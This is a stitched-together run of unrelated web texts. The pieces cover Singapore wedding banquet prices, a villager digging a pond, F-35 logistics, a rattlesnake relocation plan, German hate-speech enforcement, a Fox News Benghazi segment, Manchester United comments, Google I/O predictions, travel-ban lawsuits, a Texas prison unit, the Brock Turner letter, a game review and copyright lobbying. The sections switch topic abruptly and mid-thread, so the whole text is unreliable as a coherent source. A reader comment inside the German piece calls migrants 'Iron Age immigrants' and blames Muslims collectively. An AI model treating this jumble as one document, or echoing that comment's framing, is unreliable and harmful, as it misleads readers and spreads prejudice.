Inflation, escalating food costs, and a tightening labour market have been steadily pushing prices up by about 5 to 10 per cent annually, with industry watchers saying there has yet to be a dip in recent years. The average hotel table price went past $1,000 in 2008, before taxes.
Ms Caroline Tan-Reed, who co-founded The Wedding Stylist in 2009, said of the steady rise in banquet costs: "We have never seen table prices go down."
A decade ago, a table at Fullerton Hotel cost about $1,200, compared to $1,588 now. At Ritz-Carlton, couples have seen quotes jump from $1,428 to $1,878.
Related Story Malay couples paying more for alternative wedding venues
But several hotels, including St Regis, Grand Hyatt and Shangri-La, said they would not be revising their rates between now and 2017. Asked why, Hyatt's director of events Raymond Tan said it was "to celebrate our dedication to the local market".
The Julius Baer Lifestyle Index, which compares the price of luxury items and services across Asia, put Singapore as the region's sixth priciest place to tie the knot last year (see table). The annual survey compares the cost of a wedding banquet for 500 at a top hotel across 11 Asian cities. Last year, this was more than $112,000 for a hotel in Singapore - about $27,000 more than it cost in 2011 - a rise of around 30 per cent.
Many hotels, however, insist they give bang for the buck. St Regis' $1,988 per table package includes a two-night hotel suite stay for the newlyweds and a personalised wedding cake. Grand Hyatt charges $1,788 a table for the regular menu, but this includes whole abalone.
Hyatt's Mr Tan said: "Complimentary tables, wines, dessert bars and even free honeymoon nights worldwide help to increase the take-home value for our couples, despite the price tag."
For $1,748, W Singapore Sentosa Cove offers a full marina view from the ballroom and allows guests to arrive on private yachts.
Couples themselves may have a part to play in driving up prices, according to wedding planners.
Ms Tan Weiwei, founder of Chere Weddings & Parties, said newlyweds these days have higher spending power. "They are getting married at a later age and have higher expectations from hotels in terms of quality and service."
Median monthly salary for full-time work rose from around $2,450 in 2006 to nearly $4,000 last year - and more are willing to splurge on luxury.
The latest General Household Survey, released on Thursday, also showed that Singapore residents were marrying later, with 70 per cent of those in their mid- to late- 20s staying single - a sharp rise from 50 per cent about 15 years ago.
For others, hotel wedding banquets are a must to fulfil social expectations, especially if their families expect them to invite all their relatives and business associates.
Said Ms Leana Doray, founder of web portal The Wedding Scoop: "Typically, hotels are the only venues that can accommodate a large number of guests."
Given the rising costs of hosting a wedding banquet, guests should also be prepared to gift a little more. Wedding planners recommend between $150 and $200 each.
Still, Ms Michelle Tay, editor of online wedding resource Singapore Brides, believes marrying couples should not rely just on red packets to recoup costs, as one cannot control how much guests will give. She said: "Budget for a potential loss. Anything more will be a bonus."
CIMB economist Song Seng Wun believes nothing short of a full-blown recession will bring table prices down. "There are certain things in life for which prices are inelastic," he said. "Healthcare, funeral packages... and in between, weddings. My advice to couples getting married today? Do it in Johor."
Other cost-cutting measures include a weekday banquet or having a lunch reception instead.
Brokers Janice Sim and Luke Cheong, both in their 30s, chose to have a wedding lunch at Capella last December, as they estimated dinner would have cost them around $300 more per table after taxes.
The party for 310 guests cost $100,000. Red packets covered 70 per cent. "It was a costly affair," said Ms Sim, but added that Capella had always been her dream wedding venue.
Commodities trading firm treasurer Stacey Su, who tied the knot on March 5 with 30-year-old software engineer Lee Qianwen, celebrated their wedding at W Singapore Sentosa Cove. After a menu upgrade, they spent more than $200 on each of their 340 guests.
The 29-year-old admits the cost initially stunned her, but she was determined not to think about it.
Then one day 15-year-old Shyam Lal decided to take his spade and dig a pond. Fellow villagers laughed at him. But the tribal teenager was determined.
Lal identified a spot in the forest in and kept digging — for 27 years, according to villagers.
The result is nothing less than that of Bihar’s mountain man, Dashrath Manjhi — a one-acre 15-feet deep pond, which is filled with the elixir of life.
“No one helped me in my work, neither the administration nor the villagers,” the 42-year-old beams proudly, adding that he did it for the welfare of the people and the cattle of his village.
Villagers hail him as a role model and saviour. Ramsaran Bargar (70), a local who witnessed Shyam toil through the years, says, “The pond is now used by everyone and we are all thankful to him.”
Read more: Battling unrelenting drought, Kerala women dig 180 wells to quench thirst
Sources said Saja Pahad, which lies near a hillock under Chirimiri, still does not have electricity or proper road connectivity. The only source of water for the villagers is a couple of wells.
On Friday, MLA Shyam Bihari Jaiswal, who represents Mahendargarh constituency, under which Saja Pahad falls, visited the village and presented Shyam with Rs 10,000 for his efforts.
District collector of Koriya, Narendra Duggal has also promised his support to Lal.
“I came to know about Shyam recently. His effort for his village is commendable and I will go to his village to provide him all possible help,” he said.
Read more: Madhya Pradesh farmer digs 90-feet-deep well in fight against drought
Lal’s efforts match those of Dashrath Manjhi, who carved a path 110m long, 9m wide through a hillock using only a hammer and chisel over 22 years (1960–1983), reducing the distance between Atri and Wazirganj blocks of Gaya town in Bihar from 55 km to 15 km.
Lal’s work comes as a relief at a time Chhattisgarh is suffering from drought-like situation this year. The rainfall has been 10% short of the average over 10 years. District collectors have been directed to ensure proper utilisation of irrigation facilities.
The F-35, manufactured by Lockheed Martin Corp, is the Pentagon’s biggest weapons program: it expects to pay $391 billion to develop the fighters and buy 2,457 jets in coming decades. The program first kicked off in 2001.
Air Force Lieutenant General Christopher Bogdan told a defense conference in Washington the program is “rapidly accelerating and growing,” with production rising from about 40 planes a year now to more than 120 a year over the next three years.
“That gives me some pause, and what I’m most worried about and what we most have to concentrate on is the supply base,” Bogdan said. “We are asking the supply base between now and 2019 to do an awful lot.”
The burdens on suppliers will include not just production of new planes but also more spare parts, repairs, and modifications to existing planes, Bogdan said.
Another challenge is continuing problems with the F-35’s automated logistics system, known as ALIS, he said.
ALIS enables daily operations of the F-35 fleet, including mission planning, scheduling for flights, repairs and routine maintenance, and tracking and ordering of parts.
“It (ALIS) has not met its potential yet and there are far too many workarounds that we’ve put on the shoulder of the war fighter ... so we have a lot more work to do there,” Bogdan said.
Bogdan did not give specifics, but U.S. officials have said in the past that the problems with the system include slow response times and its ability to load detailed mission files.
In addition, all of the F-35 planes that are set to be out in the field through 2019 - numbering nearly 500 - will require modifications so they can reach their full capabilities, Bogdan said, describing this as a “massive undertaking.”
The state Fisheries and Wildlife board voted unanimously on Wednesday to suspend the plan indefinitely after residents in the region raised safety concerns.
State officials previously planned to bring some of the endangered snakes to an off-limits island in the Quabbin Reservoir to revive the species. Officials say there are only about 200 of the snakes left in Massachusetts.
The plan faced backlash from critics who worried the snakes would leave the island and attack hikers, fishermen and hunters.
Wildlife officials said the fears were unfounded, but after a series of public hearings the board halted the plan. Instead, the group says it will seek a statewide plan to conserve the species.
Germany springs to action over hate speech against migrants By Anthony Faiola January 6 at 7:16 PM BERLIN — Donald Trump may be testing the boundaries of tolerance on the U.S. campaign trail. But here in Germany, the government is effectively enforcing civility, taking aim at a surge of hate speech against refugees and Muslims. As Western Europe’s most populous nation grapples with a historic wave of mostly-Muslim migrants, politicians and activists are decrying a rash of incendiary speech bubbling to the surface of German society. In a country whose Nazi past led to some of the strictest laws in the West protecting minorities from people inciting hatred, prosecutors are launching investigations into inflammatory comments as judges dole out fines, even probation time, to the worst offenders. German authorities, meanwhile, have reached a deal with Facebook, Google and Twitter to get tougher on offensive content, with the outlets agreeing to apply domestic laws, rather than their own corporate policies, to reviews of posts. Critics call it the enforcement of political correctness, raising the question of what constitutes hate speech and sparking a national debate over free expression. Germans have been outraged, for instance, by reports of more than 100 sexual assaults and robberies in the city of Cologne allegedly committed by gangs of young Arab and North African men on New Year’s Eve.
Some Germans are questioning whether their online comments could be taken down, or whether they could be charged with incitement, for publicly pondering whether refugees could have been among the assailants. Two of the suspects have been identified as Moroccan citizens. But Cologne police say they have not yet determined whether any of the assailants were recently arrived asylum seekers. Nevertheless, the incidents have fed a strain of anger and suspicion here beyond the traditional migrant critics in the right wing. “It’s not politically correct to say anything against migrants. We don’t have freedom of opinion anymore. #Cologne,” Tweeted a German user from Hanover going by the handle Pulvermann. Proponents are hailing the government effort as a way to foment respect while also controlling the most savage voices in society.
… Yet even leaders on the political left are questioning whether the bid to weed out hate is going too far. Stefan Körner, chairman of Germany’s liberal Pirate Party, argued that democracies “must be able to bear” a measure of xenophobia. He condemned the government’s deal with social media outlets to get tougher on offensive speech, saying that “surely it will lead to too many rather than too few comments being blocked. This is creeping censorship, and we definitely don’t want that.” It remains unclear how aggressive social media sites are being — some highly offensive posts in German have indeed been quickly removed from Facebook in recent days while others have lingered online for days. Yet the push here happens as a country with a built-in sensitivity to provocative speech has seen a decidedly fiercer public discourse as more than 1 million asylum seekers and migrants crossed Germany’s border last year. … The surge of incendiary comments online has been so strong that one of Germany’s largest media outlets, Der Spiegel, disabled its readers’ comment function for articles related to refugees. … Such rhetoric — considered harsher than anything seen here in years — is alarming many Germans, including Chancellor Angela Merkel. In her New Year speech, Merkel, who has adopted one of the most open policies in Europe toward asylum seekers fleeing war in the Middle East, warned against the forces of hate once again brewing in Germany. Her countrymen, she said, should not listen to “those with coldness, or even hate in their hearts, and who claim the right to be called German for themselves alone and seek to marginalize others.”
The German media largely stonewalled reporting these events in one of Germany’s most prominent public spaces for half a week.I.e., Germans, not the Iron Age immigrants who are attacking women.It would seem like there ought to be more interest at the moment in finding out how the hundreds of Muslims who attacked German women in Cologne used social media to organize their flash mob. But I guess there just isn’t.
Moreover, the great Hegira of 2015 was presumably organized on smartphones using platforms including Facebook, Google, and Twitter, so perhaps there should be some inquiry into that?
Germany does have a problem with violence by thugs who are anti-immigrant: cases of arson, and the poor mayoress of Cologne got stabbed by a rightwinger last fall. The co-founder of the PEGIDA protests is a nightclub promoter with a long criminal record from his younger days.
Host Eric Bolling waited until the second segment of the weekly business-focused show to blast President Barack Obama over a recently-released email that the network has made a cornerstone in the assertion that the White House covered up the cause of the Benghazi terrorist attacks.
But Fox News contributor Juan Williams responded by pointing out Republicans were insisting that Benghazi was a scandal to derail Clinton’s presidential ambitions.
Jonathan Hoenig of CapitalistPig.com accused Clinton of “an anti-Americanism” for comments during a Senate Foreign Relations Committee hearing last year, in which she had asked, “What difference does it make” if the attacks were ignited by a protest or for some other reason.
“The upshot is that you, as in individual, your life doesn’t mean anything,” Hoenig said.
In case taking Clinton’s comment out of context didn’t make the point, Fox News pundit Wayne Rogers decided to take the argument to an extreme.
“Imagine the following,” he said. “Imagine that Hillary Clinton runs for president, and gets assassinated in the process.”
“And somebody shows up, a congressman, and says, ‘Well, what difference does it make anyway?'” Rogers quipped. “I mean, The New York Times would have that on the front page!”
“They would have a field day,” Bolling agreed.
“That is such a distortion,” Williams objected. “Nobody, I don’t care if you’re a Republican or Democrat, ever said it didn’t make any difference, and Hillary Clinton didn’t say that. Hillary Clinton said, ‘What about the cause?’ People were going on and on about, was it a group of terrorists, was it a group of people who were attacking the embassy?”
“She said, ‘What difference does it make anyway?'” Roger shouted, waving his finger at Williams. “That’s what she said!”
“We ran out of time, I would love to have a little bit more time with that one,” Bolling said as he concluded the segment.
Media Matters’ Oliver Willis pointed out on Saturday that Clinton’s comments had, in fact, been “a direct rebuttal to the ongoing conservative obsession with the set of talking points, which were subject to changes made based on intelligence assessments available at the time.”
“Clinton was accurately noting during her testimony that given the ongoing efforts to capture those who were responsible for the attacks and to provide security for U.S. consulates and embassies, the bureaucratic details of who edited a government memo were trivial at best,” Willis wrote. “The odd juxtaposition of a theoretical assassination attempt with this ongoing discussion comes as Fox tries to breathe new life into the Benghazi hoax, by resurfacing long-debunked and answered questions.”
Despite achieving their pre-season objective, United ultimately stumbled over the finish line by winning just once, and scoring a mere three goals, during their final six games.
The 2015-16 Premier League season starts in
But United captain Rooney admits that, while the club reached their target, they cannot aim so low again in the future.
“The least we wanted was a top-four finish because, after last season, for this football club it would've been a disaster if we didn't make the top four,” Rooney said.
“It would have been nice to win some silverware - that's why the Arsenal defeat in the FA Cup was so disappointing - but in terms of the Premier League, the most vital thing for us was getting in the top four.”
United have already started the rebuilding process ahead of next season, with Dutch winger Memphis Depay arriving in a £25m deal from PSV Eindhoven and Colombian forward Radamel Falcao sent back to Monaco after failing to earn a permanent transfer following a dismal campaign on loan at Old Trafford.
And with the club expected to match last summer’s £150m investment in the playing squad, Rooney believes that United can challenge for the title against next season.
“I believe we are (close),” Rooney said. “You take the first 10 games and I think we had 13 points. When you consider from after that amount of games to where we've finished, we've probably got as many points after that as anyone else.
“I think we're close, there's no doubt about it. You can see in our performances, we're outplaying teams, dominating possession, and it's just that final thing of taking our chances.
Eden Hazard scores for Chelsea against Manchester United
“In the defeat at Chelsea, if I had scored that chance with my left foot then it could have been a completely different game and might have put them under a bit of pressure - it might have been a lot closer than it's finished.
“But as a group of players, myself and the manager - we all believe we're close and I'm sure with a player or two in the summer we'll have a good chance of going for the title.”
Wayne Rooney's season in stats
United defender Phil Jones, who is close to agreeing a new contract at Old Trafford, insisted the team must start next season well in order to improve on this campaign.
“We need to start well next season, for definite,” Jones said. “But listen, we are not kidding ourselves. We are not absolutely ecstatic about finishing in fourth - that is not the case at all. We are satisfied at finishing fourth and the aim was to finish in that position at least at the start of the season.
• Manchester United season review: five things we learned
“We have done what we needed to do in a way, but we need to improve upon that next season.
Google TV
No discussion of what Google has up its sleeves is complete without a lengthy discussion about the fate of Google's converged TV and Web technology. Logitech, Sony and others have bought into it—big time. But consumers aren't buying and it's clear that Google has yet to arrive at a winning formula. I have an Apple TV device at home and I can guarantee you that at least one key ingredient is simplicity. No external keyboard, no large, hoary box, nothing above $150 dollars. That, for the most part, does not describe the current Google TV. Apple TV also has a super-easy—if you're an iTunes/AppStore member—way of purchasing new content. Google's focus on Web-based content and letting everyone handle commerce in their own way is not helping Google TV or any of its partners.
I expect Google to introduce a significant update to the Google TV platform. One that will shrink the hardware, swap out components, and introduce a wholly new commerce strategy.
Chrome OS
I've been using the Google Chrome Cr-48 laptop for a while and it's definitely not the best representation of what this new operating system could be. Part of the problem is the hardware. The laptop is nothing to look at, has a bunch of semi-functional USB ports, and the Wi-Fi chip is sub-par. I think the operating system is promising, though it looks so much like the Chrome Web browser that even I have trouble taking it seriously.
This Google I/O should mark a turning point for the nascent OS.
The hardware side is going to be a bit more confusing. I've heard whispers about a Chrome OS tablet, but that makes no sense to me. Google's tablet bet is with Android and Honeycomb. Perhaps we'll see some name-brand laptops and desktops running the Chrome OS. That would be kind of exciting. It would be a victory for Google and, for those that understand what's at the heart of all this, Linux.
Search
Google re-named its search team "Knowledge" and it got me thinking that perhaps Google will use Google I/O as a launch platform for some important changes in its search algorithm and interface. What if the familiar Google search interface changes? Unlikely, but its search results could. They have before.
Android
Time for a deep dive on "Ice Cream." It supposed to be a blend of Android 2.3 and Android 3.0: the tablet-friendly "Honeycomb." I'm just hoping that it clears up the Android interface confusion between phones that look like tiny tablets and tablets that are simply larger versions of the phones. Consumers want them to work the same way and this OS update could make that possible by somehow delivering a new Android with a wholly scalable interface (which is more or less what Apple has with iOS).
Commerce
Google I/O has a whole track devoted to commerce and, as I see it, nothing could be more important for Google in its quest to stand toe-to-toe with Microsoft on the desktop and laptop side and Apple in the mobile space. Google will walk developers through everything from Google Checkout to in-app payments and a solution for paywalls. Again, this all speaks to Google's efforts to provide a comprehensive suite of solutions to all partners—partners who are in this business to make money.
Chrome Web Browser
Looking at the Google I/O schedule, I realized the Google has a problem that it needs to solve in a hurry: helping consumers differentiate between the Chrome browser and the Chrome OS. Google may think it's a good thing that they share the same name, but I don't. Android has a defined identity and part of it is the name. Chrome OS could use some of the same clarity that would come from a new label. I suggest "G-OS."
Social
Google has more information about more people than any other online service in the world. Read up on Google Social Circle and you'll see what I mean. Google wants to leverage all that to make the most comprehensive social network ever, but that doesn't mean it'll introduce anything at Google I/O. Google's been burned by an overenthusiastic reaction to the muddled Wave and a general ignorance of Buzz—which a surprisingly large number of people do use. Google's taking small steps into social like +1. Eventually it'll knit all this together into something—but I don't know what and I don't know when. I don't think we'll hear much of anything about it at Google I/O.
Google Music
Google will follow Amazon and beat Apple to market with its own cloud-based music service. Leaked images of the rumored Google Android Music are all over the Web, though no one knows for certain if they're real. The service purports to offer a mix of cloud and local music libraries and should have enough smarts to stream freely on Wi-Fi, but sip carefully on data networks, where costs for consumers could skyrocket.
Launching this platform for Android devices would seem like a no-brainer—and Google I/O may be the perfect stage since developers will quickly imagine other opportunities in Google's cloud-based offerings. The fly in the ointment, though, could be record companies. If they haven't already lined up to serve waves of stream-ready music to Google, Google Music may not be quite ready for its close-up this week.
There'll be other highlights and sidelights, like a chat on "Cloud Robotics," which sounds oxymoronic to me, and a raft of fireside chats on key Google technologies where we may learn some of the more interesting stuff.
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Washington Attorney General Bob Ferguson on Monday afternoon became the first state official to sue the president over the issue.
“We are a country based on the rule of law,” Ferguson, a Democrat, said at a news conference in Seattle. “In a courtroom, it is not the loudest voice that prevails. It’s the Constitution.”
The lawsuit seeks a temporary restraining order blocking Trump’s executive order.
Ferguson was among 16 state attorneys general who released a statement Sunday calling the president’s immigration order “un-American and unlawful.”
His lawsuit, along with several others, signal a protracted legal fight ahead over Friday's executive order, by far the most controversial measure President Trump has signed since taking office. As the White House voices confidence the measure will be upheld, critics are citing anti-discrimination laws and the Constitution in challenging the order.
The order signed Friday specifically suspends the refugee program for 120 days and suspends entry to the U.S. for travelers from seven terror hotspots (which also are Muslim-majority countries) for 90 days.
The rocky rollout of Trump’s order sparked confusion and chaos at the nation’s airports as customs agents struggled over how to interpret it. It also triggered protests coast to coast.
Since Friday, four federal judges have ordered various holds relating to travelers affected over the weekend. But judges have not yet ruled on the broader aspects of the order.
Trump and his team have adamantly defended the plan as critical for national security.
“The seven countries named in the Executive Order are the same countries previously identified by the Obama administration as sources of terror,” Trump said. “To be clear, this is not a Muslim ban, as the media is falsely reporting.”
Former President Barack Obama pushed back Monday on any comparison between their immigration policies as well as the “notion of discriminating against individuals because of their faith or religion."
White House Press Secretary Sean Spicer shrugged off legal challenges and told reporters Monday he feels “pretty confident that if there’s any problems we’ll prevail.”
He added, “This is a national security issue.”
But Nihad Awad, executive director of the Council on American-Islamic Relations, argued that the Trump administration has violated the law.
“It’s the law vs. Donald Trump,” Awad said.
CAIR filed a lawsuit Monday in Virginia on behalf of 20 Muslims that claims Trump’s executive order violates due process and equal protection under the law.
But challenging the policy might be easier said than done.
Federal law gives Trump sweeping authority over immigration. He is legally allowed, under the Immigration and Nationality Act, to suspend entry for people or classes of people he believes would be harmful to the nation.
A 1965 update to the law says people should not be subjected to preferential treatment or discrimination based on their “race, sex, nationality, place of birth or place of residence.”
The White House argues that the executive order is not a Muslim ban and that it prohibits all people from specific countries that have an established terrorist network.
However, in an interview with the Christian Broadcasting Network on Friday, Trump indicated he would give preferential treatment to persecuted Christians from Syria and stated that Muslims were given priority under the previous administration.
“If you were a Muslim you could come in, but if you were a Christian, it was almost impossible,” Trump said. He added, “And I thought it was very, very unfair. So we are going to help them.”
The United States admitted 38,901 Muslim refugees in 2016 – nearly the same number of Christians, 37,521, were also admitted, according to a report by the nonpartisan Pew Research Center.
The CBN interview coupled with an admission from Trump adviser Rudy Giuliani on Fox News that Trump contacted him and others about how to legally craft a ban could be used as ammunition by immigration and civil liberty activists to prove the administration’s intent.
The American Civil Liberties Union, which has raised at least $24 million since Saturday morning and added 150,000 new members, also filed a class-action lawsuit on behalf of two Iraqis who were temporarily detained at John F. Kennedy Airport in New York on Saturday. The men were on their way to the U.S. on immigrant visas.
One of them, Hameed Khalid Darweesh, worked as an electrical engineer and contractor for the U.S. government from 2003-2010. He also worked as an interpreter during the invasion of Iraq. Brandon Friedman, who commanded the platoon during the invasion, tweeted Sunday that Darweesh “spent years keeping U.S. soldiers alive in combat in Iraq.”
The second man detained, Haider Sameer Abdulkhaleq Alshawi, had been granted a visa to join his wife and 7-year-old son who are legal permanent residents in Houston.
“President Trump's war on equality is already taking a terrible human toll,” Omar Jadwat, director of the ACLU’s Immigrants’ Rights Project, said in a written statement. “This ban cannot be allowed to continue.”
History [ edit ]
The State of Texas bought Wynne from the last lessees of the facility (Cunningham and Ellis) in 1883. Wynne initially had about 1,970 acres (800 ha) of terrace gardens used to fulfill the gardening needs of the Huntsville Unit. The current unit was dedicated in 1937 and completed in 1939.[2]
In the 1970s, the prison had 17 prison guards in its day shift to oversee 2,600 prisoners. The prison system arranged to have building tenders used to guard the prisoners, making up for the small number of prison guards.[3]
On August 8, 2000 an inmate escaped from the prison by driving a tractor trailer cab through the prison wall while avoiding gunshots fired by correctional officers. The prisoner left the truck on the runway of Huntsville Airport and fled into a vehicle; state officials believed that the man's wife drove the vehicle. Police officers with tracking dogs found the man and his wife under a tree less than 7 miles (11 km) from the Wynne Unit. The state said that the offender "reportedly" was taken with force, while the wife surrendered peacefully.[2]
In 2007 two inmates from Wynne escaped. During the incident the escape vehicle hit 59-year-old correctional officer Susan Canfield, killing her. Both inmates have been found and rearrested.[4] The driver, Jerry Duane Martin (TDCJ#999552),[5] was executed on December 3, 2013.[6]
In 2008 an Offender escaped the Wynne Unit using a child's bicycle. He was taken back into custody less than 24 hours later.
Operations [ edit ]
Wynne has a box factory, a computer recovery factory,[2] and a license plate factory[2] (the only one for the state and works with the 3M company)[citation needed]. A mattress factory,[2] which provides all of the beds for the state colleges,[citation needed] is at the Wynne Unit, as well as a mechanic shop with diesel repair, a signs and plastics plant, and a sticker plant.[2] All of the state issued car registration stickers are also made at the Wynne Unit. It has been shown that the Wynne Unit generates around $1 Million a week for the State of Texas.[citation needed] The Windham School District has its headquarters in Building B in the Wynne Unit.[7][8]
A pastor from North Carolina, John Pavlovitz, has penned the perfect response to why Turner’s father’s letter is so off. Here’s part of Pavlovitz’s response, from his blog:
I understand you trying to humanize your son in your letter; talking to the judge about his favorite snacks and swim practice and about the memories that are sweet for you as his father — but to be honest I don’t give a damn and if his victim was your daughter I’m quite sure you wouldn’t either. I imagine this young woman had favorite snacks and sports too, and parents who had wonderful plans for her that didn’t include this nightmare. There is no scenario where your son should be the sympathetic figure here. He is the assailant. He is the rapist. I can’t imagine as a father how gut wrenching such a reality is for you, but it is still true.
It is of course easy to imagine why a father would see his son as the innocent boy that he knew for years and years. But the fact is this boy grew up to become a man who did an absolutely horrible thing.
By failing to acknowledge that, Turner’s father wrote an incredibly tone-deaf letter — one that perpetuated many of the tropes that define rape culture today, particularly the erasure of actual victims. Turner’s father, for example, referred to the day of the assault as “the events of January 17th and 18th 2015,” leaving out what those events were exactly.
The pastor’s letter puts all of those tropes to shame by bringing up a simple point: If Turner’s father had been in the opposite position of this sexual assault case, his letter’s tone would undoubtedly be different.
I’ve been thinking a lot about the ending of Night in the Woods. Finished the game a couple weeks ago; it’s pretty much the only game I’ve managed time for other than 20-minute bursts of Nuclear Throne when I’m waiting for footage to render or just decompressing between obligations. I have a weird jumble of feelings about the game, many of them deeply appreciative and some… confused.
These capsule reviews aren’t meant to be any kind of consumer advocacy, but if you’re waiting for me to tell you whether or not you should play the game: yes. Whatever else I say, yes, you should go play Night in the Woods. You may not know what you think of it by the end, but if you’re the kind of person who reads my stuff, you aren’t going to regret playing it.
The game’s protagonist, Mae, seems exquisitely designed to remind a certain type of person of themself. I might be one of those people, or, at least, I was when I was Mae’s age. Mae is a 20-year-old college dropout living with her parents in her jerkwater hometown, unsure of what to do with herself and generally unwilling to talk about it. Her town’s economy is drying up and it’s a lingering question whether it will still exist in a decade or two. Everyone’s out of work or working for less than they deserve. Most of her friends from high school are still there, working the same jobs, playing in the same bands, eating the same crappy pizza.
It’s horribly familiar. When I was 20, I was piddling around community college with no motivation to transfer to a university. My dad had been laid off during the pre-Recession recession and hadn’t seen comparable pay since. I spent most of my time hanging out in coffee shops in my own jerkwater town, chatting up all the kids who’d never moved away, killing time. I worked my first job at the video store that was also a liquor store, around the corner from the hardware store that was also a deli. Our local businesses were also dying, save the few that secured a spot on Main Street, though by the time I was 20 my town was becoming a bedroom community for San Francisco and, instead of turning into vacant buildings, the local shops were getting muscled out by Peet’s Coffee and Jamba Juice. We even had our own parallel to NITW’s annual Harfest, but we called it Pumpkin Festival.
Admittedly, I was never a delinquent like Mae, and never managed to play in a band, even badly, so the sequences when I got to smash fluorescent lightbulbs and play bass were a kind of wish fulfillment (Mae’s bandmates sound for all the world like they’re covering Joy Division). And it’s moments like these that create the simple pleasures of Night in the Woods. It’s a game where stealing pretzels to feed to some rats you found in an abandoned parade float constitutes a major time sink and a minor, beautiful victory. Like, maybe I’m a fuckup but I can keep some rats alive and that’s not nothing. It’s a game where the conversation trees talk about the selling out of the working class, about punching fascists, about anarchy. It’s a game where the critical decisions you make are about who you want to hang out with on a given evening. (For the record: I agree that Gregg rulz ok but as soon as I realized that Bea didn’t like me very much I decided, oh no, I’m gonna make this girl my friend. So I saw pretty much none of Gregg’s or Angus’ optional content in my efforts to be best buds with Bea, and I regret nothing.)
So this game is something special. Play it. Let’s talk about the ending.
*SPOILER TOWN*
If I had sum up my overall impressions of Night in the Woods, I guess it’d be a more extreme version of my feelings on Oxenfree - somewhere over the course of the game I went from actively liking it very much to just kind of respecting it. Only more complicated than that.
OK, so Night in the Woods hints at a larger, darker plot from pretty early in the game, and such a thing was directly teased in the Kickstarter pitch, so by the time such things make their way into the game we’re all amply prepared for it. We’ve known all along that “there’s something in the woods.” I’m still not sure how to put into words my feelings on what that something is.
OK, OK, here goes: in the early stretches of the game, Mae has dreams that hint at what her mental state is up to, but as the game goes on, the dreams become more and more consistently about confronting giant animal gods. She also sees what appears to be a ghost man kidnap a kid at Harfest, but no one else sees this. Mae becomes convinced that there’s some kind of ghostly power that’s getting inside her head, while her friends worry that she’s cracking up. Still, they help her investigate various ghost stories around town, for her sake, and Mae’s health visibly declines and her dreams get more intense, until one night she finds herself communing with what may or may not be an utterly indifferent God who does not care about her or anything that lives on Earth.
Eventually, Mae and her friends track the ghost men into the woods and it turns out they’re not ghosts, they’re local men in hoods who are some kind of death cult. They believe they can keep the town from dying by kidnapping and sacrificing undesirables to the demon goat who lives deep beneath the old mines. They tell Mae that this is what’s been visiting her in her sleep.
So: Mae thinks she may be dealing with ghosts or God, the cultists think it’s a demon. Meanwhile, Mae’s friends think she may have some poorly-treated cognitive issues - turns out Mae had some kind of psychotic episode years back where she hospitalized a boy because she just couldn’t see other people as people anymore, and she’s been grappling with this disconnection for some time and going to college without good treatment may have made it all much worse. And maybe all this talk of careless gods and demon goats is just Mae dealing with the ugly parts of her own psyche.
Anyway, so Mae’s friends straight up shoot one of the cultists with a crossbow and then cause a mine cave-in that dooms the rest, which is, no matter how you slice it, a pretty sharp tonal shift from what most of the game has been. And, before escaping, Mae has a vision of sorts, where she feels herself sucked underground and once again confronting some kind of supernatural being.
And she just talks to it. She says she’s done disassociating from people. She knows that maybe nothing lasts, that maybe her friends will all drift apart and her town will die, but if that’s what’s going to happen, she wants to accept it. If everything disappears in the end, she wants it to hurt when it does.
The question, then: in this moment, are you, the player, talking to God? A demon goat? Or the dark parts of a mind in need of treatment? Or, a similar question: is the town dying because of the stagnation of wages, the shipping of jobs overseas, the failure of government to support small towns? Or is because the town needs to sacrifice to the beast that lives in the mines?
The game doesn’t have an answer for you. Instead, the game’s stance seems to be: whatever the answer, it’s out of your control. Be it economics, fate, religion, superstition, or mental illness, it is not a mystery you can solve, a villain you can shoot. It’s something you will have to live with, day by day. It is inexorable that, on a long enough timeline, everything ends. Maybe it doesn’t matter why. When you stare into a void, maybe it doesn’t matter whether you’re talking to God, a demon, or your own broken mind. Maybe what matters more is what you say.
You may never know the truth. So hold on to what’s good and live with uncertainty.
I feel like this is a very profound thing for a game starring an anthropomorphic cat to say. I also can’t shake that it felt more profound when I typed it out just now than when I experienced it myself.
As a person from a jerkwater town, who’s spent his entire adult life working his ass off and yet perpetually broke, who’s spent the last five years grappling with depression and anxiety and the radical acceptance it takes to know that his thoughts can sometimes be extremely alien to him, and who has walked the long path from Christianity to wishy-washy agnosticism to weary atheism, I feel this moment should have slugged me in the gut. I can’t think of a single game that would say such things, and I can’t think of a game that seems more explicitly tailored to my sensibilities and experiences.
But while I respect the hell out of Night in the Woods’ ultimate message, I still feel conflicted about how it plays out. I don’t think the game is wrong to veer into odd genres at the end - so many of its themes are internal and philosophical that literalizing them in order to build to a climax feels like a smart decision. I don’t know if it’s that the game spends such a long time raising questions and then kind of rushes the answers. I don’t know if it’s that Mae and her posse seem a lot more credible cracking wise and worrying about money than shooting people with crossbows. It’s certainly hard for a game about normal people with normal problems to throw in highly abnormal problems for the final hour.
I don’t know if I maybe just need to play it again.
I feel like the more I think about the ending, the better I understand it, but I still can’t say with confidence that I like it. And my appreciation of the game seems deeply rooted in the front half and not the final third.
And I don’t know when I’ll have time to go back in and play it again. For now, I’m glad I played it once. Whatever it was, it was certainly something.
The copyright industry is tenacious and effective in using the “Daddy, I want a pony” tactics in legislation. They go at it again, and again, and again, and again. The result is a continuous erosion of our civil rights and an entrenchment of their entitlement to taxpayer funds.
The “Daddy, I want a pony” tactic goes roughly like this:
Little girl: Daddy, I want a pony! Want pony! Want want want pony!
Dad: Uhm, no, uhm, uhm, no, how about a dog?
Little girl: No no no NO! Want pony! PONY! …Dog? Well, ok then.
At this point the dad thinks, “Phew, that was a close call!”. The little girl on the other hand thinks “Wow, that’s the easiest dog I ever got.” That’s the “Daddy, I want a pony” tactic.
You saw it with the DMCA in the United States, which severely restricted our rights to our own property, and the corresponding InfoSoc directive in the European Union. You see it right now with ACTA, which again shows this “the most offensive, repugnant may be gone” attitude, despite still being a giant leap backwards for human rights. You’ve seen it with the Data Retention Directive.
And each time, we defend and defeat the worst parts, burning our activist reserves way into the red, and then there’s another assault three years later. Plus the fact that while we’re fighting one of these evils, another 11 pass in the background.
The point is, as long as we’re just defending, we will always be on the retreat, and we will always lose. The copyright industry has the initiative and the best we can do is to delay or reduce the damages done. That’s not good enough.
It gets worse. The copyright industry has also gotten the rights to collect levies from trade with unrelated items, notably blank media but as unrelated as game consoles, because they can theoretically be used to copy in legal ways. Did you get that? It does not break the copyright monopoly to copy in these ways, and just therefore the copyright industry is compensated.
Let’s take that again.
